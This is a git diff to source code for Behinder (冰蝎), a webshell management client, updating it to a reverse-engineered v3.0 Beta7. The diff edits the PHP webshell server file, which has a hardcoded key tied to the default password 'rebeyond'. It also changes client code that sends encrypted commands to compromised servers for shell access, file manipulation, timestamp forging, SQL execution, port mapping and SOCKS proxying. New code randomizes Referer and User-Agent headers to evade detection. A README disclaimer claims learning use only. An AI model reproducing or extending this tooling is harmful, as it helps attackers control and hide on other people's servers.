diff --git a/README.md b/README.md
index 6b2272c..a4f70b2 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,11 @@
# 冰蝎客户端源码
首先致敬作者rebeyond:https://github.com/rebeyond/Behinder/releases
+# 更新内容
+```
+2021-04-11 逆向V3.0 Beta7 并且修复原版虚拟终端无法输入命令问题
+```
+
# 郑重声明
拿刀的不一定是屠夫,也有可能是伙夫,当然也有可能是大夫,本代码仅供学习,请保证必须一定勿用于非法用途!!!
@@ -11,6 +16,7 @@
3.server目录下是服务端小马程序。
+
# 分支
本git的分支对标原版程序版本号。
diff --git a/pom.xml b/pom.xml
index c058536..34b2913 100644
--- a/pom.xml
+++ b/pom.xml
@@ -136,6 +136,10 @@
**/*.gif
**/*.asp
**/*.php
+ **/*.jar
+ **/*.32
+ **/*.64
+ **/*.bak
true
diff --git a/server/shell.php b/server/shell.php
index acc9129..4d2a8df 100644
--- a/server/shell.php
+++ b/server/shell.php
@@ -3,6 +3,7 @@
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
+ session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
diff --git a/src/main/java/net/rebeyond/behinder/core/Constants.java b/src/main/java/net/rebeyond/behinder/core/Constants.java
index 02af84a..2b1f13e 100644
--- a/src/main/java/net/rebeyond/behinder/core/Constants.java
+++ b/src/main/java/net/rebeyond/behinder/core/Constants.java
@@ -2,7 +2,7 @@
public class Constants {
public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
- public static String VERSION = "v3.0 Beta 6 ";
+ public static String VERSION = "v3.0 Beta 7 ";
public static int MENU_CUT = 1;
public static int MENU_COPY = 16;
public static int MENU_PASTE = 256;
@@ -27,5 +27,20 @@ public class Constants {
public static int PLUGIN_TYPE_EXPLOIT = 1;
public static int PLUGIN_TYPE_TOOL = 2;
public static int PLUGIN_TYPE_OTHER = 3;
+ public static int OS_TYPE_WINDOWS = 0;
+ public static int OS_TYPE_LINUX = 1;
+ public static int OS_TYPE_UNIX = 2;
+ public static int OS_TYPE_MAC = 3;
+ public static int HISTORY_DIRECTION_UP = 0;
+ public static int HISTORY_DIRECTION_DOWN = 1;
+ public static int SHELL_STATUS_ALIVE = 0;
+ public static int SHELL_STATUS_DEAD = 1;
+ public static int LIST_STAGE_STARTED = 0;
+ public static int LIST_STAGE_DONE = 1;
+ public static int LIST_STAGE_FAIL = 2;
+ public static int MEMSHELL_TYPE_FILE = 0;
+ public static int MEMSHELL_TYPE_AGENT = 1;
+ public static int MEMSHELL_TYPE_FILTER = 2;
+ public static int MEMSHELL_TYPE_SERVLET = 3;
public static String[] cookieProperty = new String[]{"expires", "max-age", "domain", "path", "secure", "httponly", "samesite"};
}
diff --git a/src/main/java/net/rebeyond/behinder/core/Params.java b/src/main/java/net/rebeyond/behinder/core/Params.java
index 7f11c48..6a74fee 100644
--- a/src/main/java/net/rebeyond/behinder/core/Params.java
+++ b/src/main/java/net/rebeyond/behinder/core/Params.java
@@ -3,8 +3,12 @@
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
+import java.util.ArrayList;
import java.util.Iterator;
+import java.util.List;
import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import net.rebeyond.behinder.utils.ReplacingInputStream;
import net.rebeyond.behinder.utils.Utils;
import org.objectweb.asm.ClassAdapter;
@@ -62,7 +66,7 @@ public static byte[] getParamedAssembly(String clsName, Map params) throws Excep
String paramValue;
for(Iterator var6 = params.keySet().iterator(); var6.hasNext(); paramsStr = paramsStr + paramName + ":" + paramValue + ",") {
paramName = (String)var6.next();
- paramValue = Base64.encode(((String)params.get(paramName)).toString().getBytes());
+ paramValue = Base64.encode(((String)params.get(paramName)).toString().getBytes("UTF-8"));
}
paramsStr = paramsStr.substring(0, paramsStr.length() - 1);
@@ -117,12 +121,18 @@ public static byte[] getParamedPhp(String clsName, Map params) throws Exception
bis.close();
code.append(bos.toString());
String paraList = "";
+ Iterator var9 = getPhpParams(code.toString()).iterator();
- String paraName;
- for(Iterator var9 = params.keySet().iterator(); var9.hasNext(); paraList = paraList + ",$" + paraName) {
- paraName = (String)var9.next();
- String paraValue = (String)params.get(paraName);
- code.append(String.format("$%s=\"%s\";", paraName, paraValue));
+ while(var9.hasNext()) {
+ String paraName = (String)var9.next();
+ if (params.keySet().contains(paraName)) {
+ String paraValue = (String)params.get(paraName);
+ code.append(String.format("$%s=\"%s\";", paraName, paraValue));
+ paraList = paraList + ",$" + paraName;
+ } else {
+ code.append(String.format("$%s=\"%s\";", paraName, ""));
+ paraList = paraList + ",$" + paraName;
+ }
}
paraList = paraList.replaceFirst(",", "");
@@ -130,6 +140,23 @@ public static byte[] getParamedPhp(String clsName, Map params) throws Exception
return code.toString().getBytes();
}
+ public static List getPhpParams(String phpPayload) {
+ List paramList = new ArrayList();
+ Pattern mainPattern = Pattern.compile("main\\s*\\([^\\)]*\\)");
+ Matcher mainMatch = mainPattern.matcher(phpPayload);
+ if (mainMatch.find()) {
+ String mainStr = mainMatch.group(0);
+ Pattern paramPattern = Pattern.compile("\\$([a-zA-Z]*)");
+ Matcher paramMatch = paramPattern.matcher(mainStr);
+
+ while(paramMatch.find()) {
+ paramList.add(paramMatch.group(1));
+ }
+ }
+
+ return paramList;
+ }
+
public static byte[] getParamedAsp(String clsName, Map params) throws Exception {
String basePath = "net/rebeyond/behinder/payload/asp/";
String payloadPath = basePath + clsName + ".asp";
diff --git a/src/main/java/net/rebeyond/behinder/core/PluginTools.java b/src/main/java/net/rebeyond/behinder/core/PluginTools.java
index 1528fb6..b3ab1dd 100644
--- a/src/main/java/net/rebeyond/behinder/core/PluginTools.java
+++ b/src/main/java/net/rebeyond/behinder/core/PluginTools.java
@@ -53,7 +53,6 @@ public void sendTask(String pluginName, String paramStr) throws Exception {
this.statusLabel.setText(msg);
});
} catch (Exception var7) {
- var7.printStackTrace();
Platform.runLater(() -> {
this.statusLabel.setText("插件运行失败");
});
@@ -80,7 +79,6 @@ public void sendTaskBackground(String pluginName, Map params, PluginSubmitCallBa
String msg = resultObj.getString("msg");
callBack.onPluginSubmit(status, msg);
} catch (Exception var8) {
- var8.printStackTrace();
callBack.onPluginSubmit("fail", var8.getMessage());
}
@@ -125,7 +123,6 @@ public void getTaskResult(String pluginName) {
});
} catch (Exception var8) {
- var8.printStackTrace();
Platform.runLater(() -> {
this.statusLabel.setText("结果刷新失败:" + var8.getMessage());
});
diff --git a/src/main/java/net/rebeyond/behinder/core/ShellService.java b/src/main/java/net/rebeyond/behinder/core/ShellService.java
index 5abb4c1..714ccd2 100644
--- a/src/main/java/net/rebeyond/behinder/core/ShellService.java
+++ b/src/main/java/net/rebeyond/behinder/core/ShellService.java
@@ -2,6 +2,7 @@
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.io.FileOutputStream;
+import java.net.URL;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.Arrays;
@@ -15,6 +16,7 @@
import java.util.Set;
import javafx.application.Platform;
import javafx.scene.control.Alert;
+import javafx.scene.control.Alert.AlertType;
import javafx.stage.Window;
import net.rebeyond.behinder.utils.Utils;
import org.json.JSONObject;
@@ -49,10 +51,54 @@ private void initHeaders() {
this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
if (this.currentType.equals("php")) {
- this.currentHeaders.put("Content-Type", "text/html;charset=utf-8");
+ this.currentHeaders.put("Content-type", "application/x-www-form-urlencoded");
+ } else if (this.currentType.equals("aspx")) {
+ this.currentHeaders.put("Content-type", "application/octet-stream");
}
this.currentHeaders.put("User-Agent", this.getCurrentUserAgent());
+ if (((String)this.currentHeaders.get("User-Agent")).toLowerCase().indexOf("firefox") >= 0) {
+ this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
+ this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
+ }
+
+ this.currentHeaders.put("Cache-Control", "max-age=0");
+ this.currentHeaders.put("Referer", this.getReferer());
+ }
+
+ private String getReferer() {
+ URL u = null;
+
+ try {
+ u = new URL(this.currentUrl);
+ String oldPath = u.getPath();
+ String newPath = "";
+ String ext = oldPath.substring(oldPath.lastIndexOf("."));
+ oldPath = oldPath.substring(0, oldPath.lastIndexOf("."));
+ String[] parts = oldPath.split("/");
+
+ for(int i = 0; i < parts.length; ++i) {
+ if (parts[i].length() != 0) {
+ if ((new Random()).nextBoolean()) {
+ int randomNum = (new Random()).nextInt(parts[i].length());
+ if (randomNum == 0) {
+ randomNum = 4;
+ }
+
+ String randStr = (new Random()).nextBoolean() ? Utils.getRandomString(randomNum).toLowerCase() : Utils.getRandomString(randomNum).toUpperCase();
+ newPath = newPath + "/" + randStr;
+ } else {
+ newPath = newPath + "/" + parts[i];
+ }
+ }
+ }
+
+ newPath = newPath + ext;
+ String refer = this.currentUrl.replace(u.getPath(), newPath);
+ return refer;
+ } catch (Exception var10) {
+ return this.currentUrl;
+ }
}
private String getCurrentUserAgent() {
@@ -145,7 +191,7 @@ public boolean doConnect() throws Exception {
JSONObject obj = null;
if (this.currentType.equals("php")) {
try {
- randStringLength = new SecureRandom().nextInt(3000);
+ randStringLength = (new SecureRandom()).nextInt(3000);
content = Utils.getRandomString(randStringLength);
obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
@@ -155,7 +201,7 @@ public boolean doConnect() throws Exception {
this.encryptType = Constants.ENCRYPT_TYPE_XOR;
try {
- randStringLength = new SecureRandom().nextInt(3000);
+ randStringLength = (new SecureRandom()).nextInt(3000);
content = Utils.getRandomString(randStringLength);
obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
@@ -172,7 +218,7 @@ public boolean doConnect() throws Exception {
this.encryptType = Constants.ENCRYPT_TYPE_XOR;
}
- randStringLength = new SecureRandom().nextInt(3000);
+ randStringLength = (new SecureRandom()).nextInt(3000);
content = Utils.getRandomString(randStringLength);
obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
@@ -183,7 +229,6 @@ public boolean doConnect() throws Exception {
}
}
} catch (Exception var12) {
- var12.printStackTrace();
Map keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
content = (String)keyAndCookie.get("cookie");
if ((content == null || content.equals("")) && !this.currentHeaders.containsKey("cookie")) {
@@ -228,24 +273,25 @@ public String eval(String sourceCode) throws Exception {
byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
result = new String(resData);
return result;
}
- public JSONObject runCmd(String cmd) throws Exception {
+ public JSONObject runCmd(String cmd, String path) throws Exception {
Map params = new LinkedHashMap();
params.put("cmd", cmd);
+ params.put("path", path);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Cmd", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
- Iterator var8 = result.keySet().iterator();
+ Iterator var9 = result.keySet().iterator();
- while(var8.hasNext()) {
- String key = (String)var8.next();
+ while(var9.hasNext()) {
+ String key = (String)var9.next();
result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
}
@@ -259,7 +305,7 @@ public JSONObject createBShell(String target, String localPort) throws Exception
params.put("localPort", localPort);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BShell", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
@@ -280,7 +326,7 @@ public JSONObject sendBShellCommand(String target, String action, String actionP
params.put("params", actionParams);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BShell", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
@@ -302,7 +348,7 @@ public JSONObject submitPluginTask(String taskID, String payloadPath, Map plugin
params.put("payload", Base64.encode(pluginData));
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Plugin", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
@@ -322,7 +368,7 @@ public JSONObject getPluginTaskResult(String taskID) throws Exception {
params.put("action", "getResult");
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Plugin", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
@@ -341,7 +387,7 @@ public JSONObject loadJar(String libPath) throws Exception {
params.put("libPath", libPath);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Loader", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -365,7 +411,7 @@ public JSONObject createRealCMD(String bashPath) throws Exception {
params.put("whatever", Utils.getWhatever());
byte[] data = Utils.getData(this.currentKey, this.encryptType, "RealCMD", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result;
if (!this.currentType.equals("php")) {
@@ -396,7 +442,7 @@ public JSONObject stopRealCMD() throws Exception {
params.put("whatever", Utils.getWhatever());
byte[] data = Utils.getData(this.currentKey, this.encryptType, "RealCMD", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result;
if (!this.currentType.equals("php")) {
@@ -428,7 +474,7 @@ public JSONObject readRealCMD() throws Exception {
params.put("whatever", Utils.getWhatever());
byte[] data = Utils.getData(this.currentKey, this.encryptType, "RealCMD", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var7 = result.keySet().iterator();
@@ -451,7 +497,7 @@ public JSONObject writeRealCMD(String cmd) throws Exception {
params.put("cmd", Base64.encode(cmd.getBytes()));
byte[] data = Utils.getData(this.currentKey, this.encryptType, "RealCMD", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -470,7 +516,7 @@ public JSONObject listFiles(String path) throws Exception {
params.put("path", path);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -489,7 +535,7 @@ public JSONObject getTimeStamp(String path) throws Exception {
params.put("path", path);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -507,11 +553,11 @@ public JSONObject updateTimeStamp(String path, String createTimeStamp, String mo
params.put("mode", "updateTimeStamp");
params.put("path", path);
params.put("createTimeStamp", createTimeStamp);
- params.put("modifyTimeStamp", modifyTimeStamp);
params.put("accessTimeStamp", accessTimeStamp);
+ params.put("modifyTimeStamp", modifyTimeStamp);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var11 = result.keySet().iterator();
@@ -534,7 +580,7 @@ public JSONObject deleteFile(String path) throws Exception {
params.put("path", path);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -562,7 +608,7 @@ public JSONObject showFile(String path, String charset) throws Exception {
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
@@ -587,7 +633,7 @@ public JSONObject renameFile(String oldName, String newName) throws Exception {
params.put("newPath", newName);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
@@ -606,7 +652,7 @@ public JSONObject createFile(String fileName) throws Exception {
params.put("path", fileName);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -625,7 +671,7 @@ public JSONObject createDirectory(String dirName) throws Exception {
params.put("path", dirName);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var8 = result.keySet().iterator();
@@ -639,12 +685,11 @@ public JSONObject createDirectory(String dirName) throws Exception {
}
public void downloadFile(String remotePath, String localPath) throws Exception {
- byte[] fileContent = null;
Map params = new LinkedHashMap();
params.put("mode", "download");
params.put("path", remotePath);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
- fileContent = (byte[])Utils.sendPostRequestBinary(this.currentUrl, this.currentHeaders, data).get("data");
+ byte[] fileContent = (byte[])((byte[])Utils.sendPostRequestBinary(this.currentUrl, this.currentHeaders, data).get("data"));
FileOutputStream fso = new FileOutputStream(localPath);
fso.write(fileContent);
fso.flush();
@@ -662,7 +707,7 @@ public JSONObject execSQL(String type, String host, String port, String user, St
params.put("sql", sql);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Database", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var14 = result.keySet().iterator();
@@ -686,7 +731,7 @@ public JSONObject uploadFile(String remotePath, byte[] fileContent, boolean useB
params.put("content", Base64.encode(fileContent));
data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- data = (byte[])resultObj.get("data");
+ data = (byte[])((byte[])resultObj.get("data"));
resultTxt = new String(Crypt.Decrypt(data, this.currentKey, this.encryptType, this.currentType));
result = new JSONObject(resultTxt);
Iterator var10 = result.keySet().iterator();
@@ -709,7 +754,7 @@ public JSONObject uploadFile(String remotePath, byte[] fileContent, boolean useB
params.put("content", Base64.encode((byte[])blocks.get(i)));
data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
result = new JSONObject(resultTxt);
Iterator var12 = result.keySet().iterator();
@@ -731,7 +776,7 @@ public JSONObject uploadFile(String remotePath, byte[] fileContent) throws Excep
params.put("content", Base64.encode(fileContent));
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
@@ -751,7 +796,7 @@ public JSONObject appendFile(String remotePath, byte[] fileContent) throws Excep
params.put("content", Base64.encode(fileContent));
byte[] data = Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
@@ -778,9 +823,9 @@ public boolean createRemotePortMap(String targetIP, String targetPort, String re
byte[] data = Utils.getData(this.currentKey, this.encryptType, "PortMap", params, this.currentType);
Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
throw new Exception(new String(resData));
} else {
@@ -801,9 +846,30 @@ public boolean createRemoteSocks(String targetIP, String targetPort, String remo
byte[] data = Utils.getData(this.currentKey, this.encryptType, "PortMap", params, this.currentType);
